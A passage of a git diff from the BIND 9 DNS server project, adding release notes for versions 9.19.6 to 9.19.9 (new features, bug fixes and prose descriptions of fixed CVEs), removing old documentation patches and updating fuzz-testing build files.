+- Support for parsing and validating the ``dohpath`` service parameter
+  in SVCB records was added. :gl:`#3544`
+
+- :iscman:`named` now supports forwarding Dynamic DNS updates through
+  DNS-over-TLS (DoT). :gl:`#3512`
+
+- The :iscman:`nsupdate` tool now supports DNS-over-TLS (DoT).
+  :gl:`#1781`
+
+- :iscman:`named` now logs the supported cryptographic algorithms during
+  startup and in the output of :option:`named -V`. :gl:`#3541`
+
+- A new configuration option :any:`require-cookie` has been introduced.
+  It specifies whether there should be a DNS COOKIE in the response for
+  a given prefix; if not, :iscman:`named` falls back to TCP. This is
+  useful if it is known that a given server supports DNS COOKIE. It can
+  also be used to force all non-DNS COOKIE responses to fall back to
+  TCP. :gl:`#2295`
+
+- Support for libsystemd's ``sd_notify()`` function was added, enabling
+  :iscman:`named` to report its status to the init system. This allows
+  systemd to wait until :iscman:`named` is fully ready before starting
+  other services that depend on name resolution. :gl:`#1176`
+
+- The ``recursion not available`` and ``query (cache) '...' denied`` log
+  messages were extended to include the name of the ACL that caused a
+  given query to be denied. :gl:`#3587`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- When an international domain name is not valid according to IDNA2008,
+  :iscman:`dig` now tries to convert it according to IDNA2003 rules, or
+  pass it through unchanged, instead of stopping with an error message.
+  The ``idna2`` utility can be used to check IDNA syntax. :gl:`#3527`
+
+- The DNSSEC signing data included in zone statistics identified
+  keys only by the key ID; this caused confusion when two keys using
+  different algorithms had the same ID. Zone statistics now identify
+  keys using the algorithm number, followed by "+", followed by the
+  key ID: for example, ``8+54274``. :gl:`#3525`
+
+- The ability to use PKCS#11 via engine_pkcs11 has been restored, by
+  using only deprecated APIs in OpenSSL 3.0.0. BIND 9 needs to be
+  compiled with ``-DOPENSSL_API_COMPAT=10100`` specified in the CFLAGS
+  environment variable at compile time. :gl:`#3578`
+
+- Compiling BIND 9 now requires at least libuv version 1.34.0 or higher.
+  libuv should be available on all supported platforms either as a
+  native package or as a backport. :gl:`#3567`
+
+Bug Fixes
+~~~~~~~~~
+
+- An assertion failure was fixed in :iscman:`named` that was caused by
+  aborting the statistics channel connection while sending statistics
+  data to the client. :gl:`#3542`
+
+- :iscman:`named` could incorrectly return non-truncated, glueless
+  referrals for responses whose size was close to the UDP packet size
+  limit. This has been fixed. :gl:`#1967`
+
+- Changing just the TSIG key names for primaries in catalog zones'
+  member zones was not effective. This has been fixed. :gl:`#3557`
diff --git a/doc/notes/notes-9.19.7.rst b/doc/notes/notes-9.19.7.rst
new file mode 100644
index 0000000000..025bfef5d8
--- /dev/null
+++ b/doc/notes/notes-9.19.7.rst
@@ -0,0 +1,75 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.7
+---------------------
+
+New Features
+~~~~~~~~~~~~
+
+- The :any:`check-svcb` option has been added to control the checking of
+  additional constraints on SVCB records. This change affects
+  :iscman:`named`, :iscman:`named-checkconf`, :iscman:`named-checkzone`,
+  :iscman:`named-compilezone`, and :iscman:`nsupdate`. :gl:`#3576`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- On Linux, libcap is now a required dependency to help :iscman:`named`
+  keep needed privileges. :gl:`#3583`
+
+- The DNS name compression algorithm used in BIND 9 has been revised: it
+  now compresses more thoroughly than before, so responses containing
+  names with many labels might have a smaller encoding than before.
+  :gl:`#3661`
+
+Bug Fixes
+~~~~~~~~~
+
+- A crash was fixed that happened when a :any:`dnssec-policy` zone that
+  used NSEC3 was reconfigured to enable :any:`inline-signing`.
+  :gl:`#3591`
+
+- In certain resolution scenarios, quotas could be erroneously reached
+  for servers, including any configured forwarders, resulting in
+  SERVFAIL answers being sent to clients. This has been fixed.
+  :gl:`#3598`
+
+- ``rpz-ip`` rules in :any:`response-policy` zones could be ineffective
+  in some cases if a query had the CD (Checking Disabled) bit set to 1.
+  This has been fixed. :gl:`#3247`
+
+- Previously, if Internet connectivity issues were experienced during
+  the initial startup of :iscman:`named`, a BIND resolver with
+  :any:`dnssec-validation` set to ``auto`` could enter into a state
+  where it would not recover without stopping :iscman:`named`, manually
+  deleting the ``managed-keys.bind`` and ``managed-keys.bind.jnl``
+  files, and starting :iscman:`named` again. This has been fixed.
+  :gl:`#2895`
+
+- Previously, the port in remote servers such as in :any:`primaries` and
+  :any:`parental-agents` could be wrongly configured because of an
+  inheritance bug. This has been fixed. :gl:`#3627`
+
+- Previously, BIND failed to start on Solaris-based systems with
+  hundreds of CPUs. This has been fixed. :gl:`#3563`
+
+- When a DNS resource record's TTL value was equal to the resolver's
+  configured :any:`prefetch` "eligibility" value, the record was
+  erroneously not treated as eligible for prefetching. This has been
+  fixed. :gl:`#3603`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.8.rst b/doc/notes/notes-9.19.8.rst
new file mode 100644
index 0000000000..257b96d729
--- /dev/null
+++ b/doc/notes/notes-9.19.8.rst
@@ -0,0 +1,101 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.8
+---------------------
+
+Removed Features
+~~~~~~~~~~~~~~~~
+
+- The ``coresize``, ``datasize``, ``files``, and ``stacksize`` options
+  have been removed. The limits these options set should be enforced
+  externally, either by manual configuration (e.g. using ``ulimit``) or
+  via the process supervisor (e.g. ``systemd``). :gl:`#3676`
+
+- Dynamic updates that add and remove DNSKEY and NSEC3PARAM records no
+  longer trigger key rollovers and denial-of-existence operations. This
+  also means that the :any:`dnssec-secure-to-insecure` option has been
+  obsoleted. :gl:`#3686`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- The TTL of the NSEC3PARAM record for every NSEC3-signed zone was
+  previously set to 0. It is now changed to match the SOA MINIMUM value
+  for the given zone. :gl:`#3570`
+
+- The ``--with-tuning`` option for ``configure`` has been removed. Each
+  of the compile-time settings that required different values based on
+  the "workload" (which were previously affected by the value of the
+  ``--with-tuning`` option) has either been removed or changed to a
+  sensible default. :gl:`#3664`
+
+- The ``auto-dnssec`` option has been deprecated and will be removed
+  in a future BIND 9.19.x release. Please migrate to
+  :any:`dnssec-policy`. :gl:`#3667`
+
+- Setting alternate local addresses for inbound zone transfers has been
+  deprecated. The relevant options (``alt-transfer-source``,
+  ``alt-transfer-source-v6``, and ``use-alt-transfer-source``) will be
+  removed in a future BIND 9.19.x release. :gl:`#3694`
+
+- On startup, :iscman:`named` now sets the limit on the number of open
+  files to the maximum allowed by the operating system, instead of
+  trying to set it to "unlimited". :gl:`#3676`
+
+- The number of HTTP headers allowed in requests sent to
+  :iscman:`named`'s statistics channel has been increased from 10 to
+  100, to accommodate some browsers that send more than 10 headers
+  by default. :gl:`#3670`
+
+Bug Fixes
+~~~~~~~~~
+
+- :iscman:`named` could crash due to an assertion failure when an HTTP
+  connection to the statistics channel was closed prematurely (due to a
+  connection error, shutdown, etc.). This has been fixed. :gl:`#3693`
+
+- When a catalog zone was removed from the configuration, in some cases
+  a dangling pointer could cause the :iscman:`named` process to crash.
+  This has been fixed. :gl:`#3683`
+
+- When a zone was deleted from a server, a key management object related
+  to that zone was inadvertently kept in memory and only released upon
+  shutdown. This could lead to constantly increasing memory use on
+  servers with a high rate of changes affecting the set of zones being
+  served. This has been fixed. :gl:`#3727`
+
+- TLS configuration for primary servers was not applied for zones that
+  were members of a catalog zone. This has been fixed. :gl:`#3638`
+
+- In certain cases, :iscman:`named` waited for the resolution of
+  outstanding recursive queries to finish before shutting down. This was
+  unintended and has been fixed. :gl:`#3183`
+
+- :iscman:`host` and :iscman:`nslookup` command-line options setting the
+  custom TCP/UDP port to use were ignored for ANY queries (which are
+  sent over TCP). This has been fixed. :gl:`#3721`
+
+- The new name compression code in BIND 9.19.7 was not compressing
+  names in zone transfers that should have been compressed, so zone
+  transfers were larger than before. This has been fixed. :gl:`#3706`
+
+- The ``zone <name>/<class>: final reference detached`` log message was
+  moved from the INFO log level to the DEBUG(1) log level to prevent the
+  :iscman:`named-checkzone` tool from superfluously logging this message
+  in non-debug mode. :gl:`#3707`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.9.rst b/doc/notes/notes-9.19.9.rst
new file mode 100644
index 0000000000..14a773f508
--- /dev/null
+++ b/doc/notes/notes-9.19.9.rst
@@ -0,0 +1,120 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.9
+---------------------
+
+Security Fixes
+~~~~~~~~~~~~~~
+
+- An UPDATE message flood could cause :iscman:`named` to exhaust all
+  available memory. This flaw was addressed by adding a new
+  :any:`update-quota` option that controls the maximum number of
+  outstanding DNS UPDATE messages that :iscman:`named` can hold in a
+  queue at any given time (default: 100). (CVE-2022-3094)
+
+  ISC would like to thank Rob Schulhof from Infoblox for bringing this
+  vulnerability to our attention. :gl:`#3523`
+
+- :iscman:`named` could crash with an assertion failure when an RRSIG
+  query was received and :any:`stale-answer-client-timeout` was set to a
+  non-zero value. This has been fixed. (CVE-2022-3736)
+
+  ISC would like to thank Borja Marcos from Sarenet (with assistance by
+  Iratxe NiÃąo from FundaciÃŗn Sarenet) for bringing this vulnerability to
+  our attention. :gl:`#3622`
+
+- :iscman:`named` running as a resolver with the
+  :any:`stale-answer-client-timeout` option set to any value greater
+  than ``0`` could crash with an assertion failure, when the
+  :any:`recursive-clients` soft quota was reached. This has been fixed.
+  (CVE-2022-3924)
+
+  ISC would like to thank Maksym Odinintsev from AWS for bringing this
+  vulnerability to our attention. :gl:`#3619`
+
+New Features
+~~~~~~~~~~~~
+
+- The new :any:`update-quota` option can be used to control the number
+  of simultaneous DNS UPDATE messages that can be processed to update an
+  authoritative zone on a primary server, or forwarded to the primary
+  server by a secondary server. The default is 100. A new statistics
+  counter has also been added to record events when this quota is
+  exceeded, and the version numbers for the XML and JSON statistics
+  schemas have been updated. :gl:`#3523`
+
+Removed Features
+~~~~~~~~~~~~~~~~
+
+- The statements setting alternate local addresses for inbound zone
+  transfers (``alt-transfer-source``, ``alt-transfer-source-v6``, and
+  ``use-alt-transfer-source``) have been removed. :gl:`#3714`
+
+- The Differentiated Services Code Point (DSCP) feature in BIND has been
+  non-operational since the new Network Manager was introduced in BIND
+  9.16. It is now marked as obsolete, and vestigial code implementing it
+  has been removed. Configuring DSCP values in ``named.conf`` now causes
+  a warning to be logged. :gl:`#3773`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- A new way of configuring the preferred source address when talking to
+  remote servers, such as :any:`primaries` and :any:`parental-agents`,
+  has been added: setting the ``source`` and/or ``source-v6`` arguments
+  for a given statement is now possible. This new approach is intended
+  to eventually replace statements such as :any:`parental-source`,
+  :any:`parental-source-v6`, :any:`transfer-source`, etc. :gl:`#3762`
+
+- The code for DNS over TCP and DNS over TLS transports has been
+  replaced with a new, unified transport implementation. :gl:`#3374`
+
+Bug Fixes
+~~~~~~~~~
+
+- A rare assertion failure was fixed in outgoing TCP DNS connection
+  handling. :gl:`#3178` :gl:`#3636`
+
+- In addition to a previously fixed bug, another similar issue was
+  discovered where quotas could be erroneously reached for servers,
+  including any configured forwarders, resulting in SERVFAIL answers
+  being sent to clients. This has been fixed. :gl:`#3752`
+
+- In certain query resolution scenarios (e.g. when following CNAME
+  records), :iscman:`named` configured to answer from stale cache could
+  return a SERVFAIL response despite a usable, non-stale answer being
+  present in the cache. This has been fixed. :gl:`#3678`
+
+- When an outgoing request timed out, :iscman:`named` would retry up to
+  three times with the same server instead of trying the next available
+  name server. This has been fixed. :gl:`#3637`
+
+- Recently used ADB names and ADB entries (IP addresses) could get
+  cleaned when ADB was under memory pressure. To mitigate this, only
+  actual ADB names and ADB entries are now counted (excluding internal
+  memory structures used for "housekeeping") and recently used (<= 10
+  seconds) ADB names and entries are excluded from the overmem memory
+  cleaner. :gl:`#3739`
+
+- The "Prohibited" Extended DNS Error was inadvertently set in some
+  NOERROR responses. This has been fixed. :gl:`#3743`
+
+- Previously, TLS session resumption could have led to handshake
+  failures when client certificates were used for authentication (Mutual
+  TLS). This has been fixed. :gl:`#3725`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-current.rst b/doc/notes/notes-current.rst
deleted file mode 100644
index a068f1911f..0000000000
--- a/doc/notes/notes-current.rst
+++ /dev/null
@@ -1,88 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.14
-----------------------
-
-Security Fixes
-~~~~~~~~~~~~~~
-
-- None.
-
-Known Issues
-~~~~~~~~~~~~
-
-- None.
-
-New Features
-~~~~~~~~~~~~
-
-- New configuration options, ``tcp-receive-buffer``, ``tcp-send-buffer``,
-  ``udp-receive-buffer``, and ``udp-send-buffer``, have been added.  These
-  options allows the operator to fine tune the receiving and sending
-  buffers in the operating system.  On busy servers, increasing the value
-  of the receive buffers can prevent the server from dropping the packets
-  during short spikes, and decreasing the value would prevent the server to
-  became clogged up with queries that are too old and have already timeouted
-  on the receiving side. :gl:`#2313`
-
-- Run zone dumping tasks on separate asynchronous thread pools.  This change
-  makes zone dumping no longer block networking I/O. :gl:`#2732`
-
-Removed Features
-~~~~~~~~~~~~~~~~
-
-- Support for compiling and running BIND 9 natively on Windows has been
-  completely removed.  The last release branch that has working Windows
-  support is BIND 9.16. :gl:`#2690`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
-- The interface handling code has been refactored to use fewer resources,
-  which should lead to less memory fragmentation and better startup
-  performance.  :gl:`#2433`
-
-Bug Fixes
-~~~~~~~~~
-
-- Fix a race condition in reading and writing key files for KASP zones in
-  multiple views. :gl:`#1875`
-
-- Check ``key-directory`` conflicts in ``named.conf`` for zones in multiple
-  views with different ``dnssec-policy``. Using the same ``key-directory`` for
-  such zones is not allowed. :gl:`#2463`
-
-- ``named-checkconf`` now complains if zones with ``dnssec-policy`` reference
-  the same zone file more than once. :gl:`#2603`
-
-- The calculation of the estimated IXFR transaction size by
-  `dns_journal_iter_init()` was invalid.  This resulted in excessive
-  AXFR-style-IXFR responses. :gl:`#2685`
-
-- If a query was answered with stale data on a server with DNS64 enabled,
-  an assertion could occur if a non-stale answer arrived afterward. This
-  has been fixed. :gl:`#2731`
-
-- Fixed an assertion failure that could occur if stale data was used
-  to answer a query, and then a prefetch was triggered after the query
-  was restarted (for example, to follow a CNAME). :gl:`#2733`
-
-- Fix an error that would enable don't fragment socket option instead
-  of disabling it leading to errors when sending the oversized UDP
-  packets. [GL #2746]
-
-- Fixed a bug that caused the NSEC salt to be changed for KASP zones on
-  every startup. :gl:`#2725`
-
-- Signed, insecure delegation responses prepared by ``named`` either
-  lacked the necessary NSEC records or contained duplicate NSEC records
-  when both wildcard expansion and CNAME chaining were required to
-  prepare the response. This has been fixed. :gl:`#2759`
diff --git a/doc/notes/notes-known-issues.rst b/doc/notes/notes-known-issues.rst
new file mode 100644
index 0000000000..e6622d56be
--- /dev/null
+++ b/doc/notes/notes-known-issues.rst
@@ -0,0 +1,40 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _relnotes_known_issues:
+
+Known Issues
+------------
+
+- Upgrading from BIND 9.16.32, 9.18.6, 9.19.4, or any older version may
+  require a manual configuration change. The following configurations
+  are affected:
+
+  - :any:`type primary` zones configured with :any:`dnssec-policy` but
+    without either :any:`allow-update` or :any:`update-policy`,
+  - :any:`type secondary` zones configured with :any:`dnssec-policy`.
+
+  In these cases please add :namedconf:ref:`inline-signing yes;
+  <inline-signing>` to the individual zone configuration(s). Without
+  applying this change, :iscman:`named` will fail to start. For more
+  details, see
+  https://kb.isc.org/docs/dnssec-policy-requires-dynamic-dns-or-inline-signing
+
+- According to :rfc:`8310`, Section 8.1, the ``Subject`` field MUST NOT
+  be inspected when verifying a remote certificate while establishing a
+  DNS-over-TLS connection. Only ``subjectAltName`` must be checked
+  instead. Unfortunately, some quite old versions of cryptographic
+  libraries might lack the ability to ignore the ``Subject`` field. This
+  should have minimal production-use consequences, as most of the
+  production-ready certificates issued by certificate authorities will
+  have ``subjectAltName`` set. In such cases, the ``Subject`` field is
+  ignored. Only old platforms are affected by this, e.g. those supplied
+  with OpenSSL versions older than 1.1.1. :gl:`#3163`
diff --git a/docutil/HTML_COPYRIGHT b/docutil/HTML_COPYRIGHT
deleted file mode 100644
index 82c7e91199..0000000000
--- a/docutil/HTML_COPYRIGHT
+++ /dev/null
@@ -1,7 +0,0 @@
-<!--
- - Copyright (C) 1996-2016  Internet Systems Consortium, Inc. ("ISC")
- -
- - This Source Code Form is subject to the terms of the Mozilla Public
- - License, v. 2.0. If a copy of the MPL was not distributed with this
- - file, You can obtain one at http://mozilla.org/MPL/2.0/.
--->
diff --git a/docutil/MAN_COPYRIGHT b/docutil/MAN_COPYRIGHT
deleted file mode 100644
index b00f6c3009..0000000000
--- a/docutil/MAN_COPYRIGHT
+++ /dev/null
@@ -1,7 +0,0 @@
-.\"
-.\" Copyright (C) 1996-2016  Internet Systems Consortium, Inc. ("ISC")
-.\" 
-.\" This Source Code Form is subject to the terms of the Mozilla Public
-.\" License, v. 2.0. If a copy of the MPL was not distributed with this
-.\" file, You can obtain one at http://mozilla.org/MPL/2.0/.
-.\"
diff --git a/docutil/patch-db2latex-duplicate-template-bug b/docutil/patch-db2latex-duplicate-template-bug
deleted file mode 100644
index 751c536aef..0000000000
--- a/docutil/patch-db2latex-duplicate-template-bug
+++ /dev/null
@@ -1,75 +0,0 @@
-;; This is a patch to work around a known bug in db2latex.  Apparently
-;; xsltproc's error checking got a lot better since the authors of
-;; db2latex last tested this, so a clear language violation that
-;; xsltproc used to ignore now prevents xsltproc from working with
-;; db2latex.
-;; 
-;; On FreeBSD you can simply drop this patch into the directory
-;; /usr/ports/textproc/db2latex/files/ and the ports system should
-;; take it from there.  I've sent this patch off to the port
-;; maintainer but have not yet heard anything back.
-;; 
-;; I don't really know whether this is the "right" fix, but it seems to
-;; work, and I'm pretty sure that the code this patch deletes does not
-;; work as it stands, so at worst the result after applying this patch
-;; should be no worse than the result without this patch.
-;; 
-;; YMMV.  If this patch breaks, you get to keep both pieces.
-
-Index: xsl/qandaset.mod.xsl
---- xsl/qandaset.mod.xsl.~1~	Sun Jan  4 08:22:27 2004
-+++ xsl/qandaset.mod.xsl	Fri Apr  1 22:30:20 2005
-@@ -363,53 +363,4 @@
- 	</doc:template>
- 	<xsl:template match="revhistory" mode="qandatoc.mode"/>
- 
--<xsl:template name="question.answer.label">
--	<!-- variable: deflabel -->
--  <xsl:variable name="deflabel">
--  	<!-- check whether someone has a defaultlabel attribute -->
--    <xsl:choose>
--		<xsl:when test="ancestor-or-self::*[@defaultlabel]">
--        	<xsl:value-of select="(ancestor-or-self::*[@defaultlabel])[last()]/@defaultlabel"/>
--	      </xsl:when>
--      <xsl:otherwise>
--        <xsl:value-of select="latex.qanda.defaultlabel"/>
--      </xsl:otherwise>
--    </xsl:choose>
--  </xsl:variable>
--
--  <xsl:variable name="label" select="@label"/>
--  <xsl:choose>
--    <xsl:when test="$deflabel = 'qanda'">
--      <xsl:call-template name="gentext">
--        <xsl:with-param name="key">
--          <xsl:choose>
--            <xsl:when test="local-name(.) = 'question'">question</xsl:when>
--            <xsl:when test="local-name(.) = 'answer'">answer</xsl:when>
--            <xsl:when test="local-name(.) = 'qandadiv'">qandadiv</xsl:when>
--            <xsl:otherwise>qandaset</xsl:otherwise>
--          </xsl:choose>
--        </xsl:with-param>
--      </xsl:call-template>
--    </xsl:when>
--    <xsl:when test="$deflabel = 'label'">
--      <xsl:value-of select="$label"/>
--    </xsl:when>
--    <xsl:when test="$deflabel = 'number' and local-name(.) = 'question'">
--      <xsl:apply-templates select="ancestor::qandaset[1]" mode="number"/>
--      <xsl:choose>
--        <xsl:when test="ancestor::qandadiv">
--          <xsl:apply-templates select="ancestor::qandadiv[1]" mode="number"/>
--          <xsl:apply-templates select="ancestor::qandaentry" mode="number"/>
--        </xsl:when>
--        <xsl:otherwise>
--          <xsl:apply-templates select="ancestor::qandaentry" mode="number"/>
--        </xsl:otherwise>
--      </xsl:choose>
--    </xsl:when>
--    <xsl:otherwise>
--      <!-- nothing -->
--    </xsl:otherwise>
--  </xsl:choose>
--</xsl:template>
--
- </xsl:stylesheet>
diff --git a/docutil/patch-db2latex-nested-param-bug b/docutil/patch-db2latex-nested-param-bug
deleted file mode 100644
index 5facc0e74f..0000000000
--- a/docutil/patch-db2latex-nested-param-bug
+++ /dev/null
@@ -1,16 +0,0 @@
-;; Latest version of xsltproc doesn't like <xsl:param><xsl:param/></xsl:param>.
-
---- xsl/lists.mod.xsl.~1~	Sat Jan 31 06:53:50 2004
-+++ xsl/lists.mod.xsl	Tue Feb  6 15:41:12 2007
-@@ -269,10 +269,8 @@
- 		</doc:notes>
- 	</doc:template>
- 	<xsl:template match="varlistentry">
--		<xsl:param name="next.is.list">
- 			<xsl:param name="object" select="listitem/*[1]"/>
--			<xsl:value-of select="count($object[self::itemizedlist or self::orderedlist or self::variablelist])"/>
--		</xsl:param>
-+		<xsl:param name="next.is.list" select="count($object[self::itemizedlist or self::orderedlist or self::variablelist])"/>
- 		<xsl:variable name="id">
- 			<xsl:call-template name="label.id"/>
- 		</xsl:variable>
diff --git a/docutil/patch-db2latex-xsltproc-title-bug b/docutil/patch-db2latex-xsltproc-title-bug
deleted file mode 100644
index 65a5ca7c5a..0000000000
--- a/docutil/patch-db2latex-xsltproc-title-bug
+++ /dev/null
@@ -1,27 +0,0 @@
-;; This patches around a problem that I don't completely understand,
-;; and which may in fact be an xsltproc bug rather than a db2latex
-;; bug.  Symptom is that the generated \title{} contains not only the
-;; book title but also the concatenation of all the chapter titles.
-;; This makes no sense, it doesn't happen with saxon, it doesn't
-;; happen with all versions of xsltproc, and attempts to trace this
-;; with --verbose and <xsl:message/> leave me more wondering whether
-;; it's me or xsltproc that doesn't understand the XSLT pattern
-;; matching rules.
-;; 
-;; All that said, the change below prevents the bad behavior and
-;; should be completely harmless, so it will do as a workaround.
-
-Index: xsl/book-article.mod.xsl
---- xsl/book-article.mod.xsl.~1~	Tue May  3 21:51:18 2005
-+++ xsl/book-article.mod.xsl	Sat May  7 09:00:26 2005
-@@ -87,8 +87,8 @@
- 		<xsl:call-template name="generate.latex.book.preamble"/>
- 		<!-- book:2: output title information     -->
- 		<xsl:text>\title{</xsl:text>
--			<xsl:apply-templates select="title|bookinfo/title"/>
--			<xsl:apply-templates select="subtitle|bookinfo/subtitle"/>
-+			<xsl:apply-templates select="/book/title|/book/bookinfo/title"/>
-+			<xsl:apply-templates select="/book/subtitle|/book/bookinfo/subtitle"/>
- 		<xsl:text>}&#10;</xsl:text>
- 		<!-- book:3: output author information     -->
- 		<xsl:text>\author{</xsl:text>
diff --git a/fuzz/.gitignore b/fuzz/.gitignore
index 8a24d62c2a..f9325d3e03 100644
--- a/fuzz/.gitignore
+++ b/fuzz/.gitignore
@@ -1,7 +1,13 @@
 /*.dSYM/
 /*.out/
+/dns_master_load
+/dns_message_checksig
 /dns_message_parse
 /dns_name_fromtext_target
+/dns_name_fromwire
+/dns_qp
+/dns_qpkey_name
+/dns_rdata_fromtext
 /dns_rdata_fromwire_text
 /isc_lex_getmastertoken
 /isc_lex_gettoken
diff --git a/fuzz/FUZZING.md b/fuzz/FUZZING.md
index cccf41ffc7..357b323b7d 100644
--- a/fuzz/FUZZING.md
+++ b/fuzz/FUZZING.md
@@ -1,3 +1,16 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
+
 = Fuzzing
 
 The tests in this directory can be operated in three modes:
@@ -5,10 +18,10 @@ The tests in this directory can be operated in three modes:
 * non-fuzzing - the test just runs over all input located in `<test_name>.in/`
   directory by compiling with mock main.c that walks through the directory and
   runs `LLVMFuzzerTestOneInput()` over the input files
-* AFL - `./configure --with-fuzzing=afl` will either feed the stdin to
+* AFL - `./configure --enable-fuzzing=afl` will either feed the stdin to
   `LLVMFuzzerTestOneInput()` or run the `__AFL_LOOP(10000)` if compiled with
-  `afl-clang-fast`
-* LibFuzzer - `./configure --with-fuzzing=libfuzzer` will disable `main.c`
+  `afl-clang-fast`. You have to compile using `CC=afl-<gcc|clang>`.
+* LibFuzzer - `./configure --enable-fuzzing=libfuzzer` will disable `main.c`
   completely and it uses the standard LibFuzzer mechanims to feed
   `LLVMFuzzerTestOneInput` with the fuzzer
 
diff --git a/fuzz/Makefile.am b/fuzz/Makefile.am
index bf5aa3eeb2..75407d488b 100644
--- a/fuzz/Makefile.am
+++ b/fuzz/Makefile.am
@@ -1,17 +1,26 @@
 include $(top_srcdir)/Makefile.top
 
+AM_CFLAGS +=				\
+	$(TEST_CFLAGS)
+
 AM_CPPFLAGS +=				\
 	$(LIBISC_CFLAGS)		\
 	$(LIBDNS_CFLAGS)		\
-	-DFUZZDIR=\"$(abs_srcdir)\"
+	$(LIBURCU_CFLAGS)		\
+	$(LIBUV_CFLAGS)			\
+	-DFUZZDIR=\"$(abs_srcdir)\"	\
+	-I$(top_srcdir)/lib/dns		\
+	-I$(top_srcdir)/lib/isc		\
+	-I$(top_srcdir)/tests/include
 
 AM_LDFLAGS +=				\
 	$(FUZZ_LDFLAGS)
 
-LDADD =					\
-	libfuzzmain.la			\
-	$(LIBISC_LIBS)			\
-	$(LIBDNS_LIBS)
+LDADD +=						\
+	libfuzzmain.la					\
+	$(top_builddir)/tests/libtest/libtest.la	\
+	$(LIBDNS_LIBS)					\
+	$(LIBISC_LIBS)
 
 check_LTLIBRARIES = libfuzzmain.la
 libfuzzmain_la_SOURCES =		\
@@ -19,19 +28,36 @@ libfuzzmain_la_SOURCES =		\
 	main.c
 
 check_PROGRAMS =			\
+	dns_master_load			\
+	dns_message_checksig		\
 	dns_message_parse		\
 	dns_name_fromtext_target	\
+	dns_name_fromwire		\
+	dns_qp				\
+	dns_qpkey_name			\
+	dns_rdata_fromtext		\
 	dns_rdata_fromwire_text		\
 	isc_lex_getmastertoken		\
 	isc_lex_gettoken
 
 EXTRA_DIST =				\
+	dns_master_load.in		\
+	dns_message_checksig.in		\
 	dns_message_parse.in		\
 	dns_name_fromtext_target.in	\
+	dns_name_fromwire.in		\
+	dns_qp.in			\
+	dns_qpkey_name.in		\
+	dns_rdata_fromtext.in		\
 	dns_rdata_fromwire_text.in	\
 	isc_lex_getmastertoken.in	\
 	isc_lex_gettoken.in
 
+dns_name_fromwire_SOURCES =		\
+	dns_name_fromwire.c		\
+	old.c				\
+	old.h
+
 TESTS = $(check_PROGRAMS)
 
 if HAVE_FUZZ_LOG_COMPILER
diff --git a/fuzz/afl.sh b/fuzz/afl.sh
index 83d23af5ca..88ac6eaeb0 100755
--- a/fuzz/afl.sh
+++ b/fuzz/afl.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/fuzz/dns_master_load.c b/fuzz/dns_master_load.c
new file mode 100644
index 0000000000..016cc880e5
--- /dev/null
+++ b/fuzz/dns_master_load.c
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
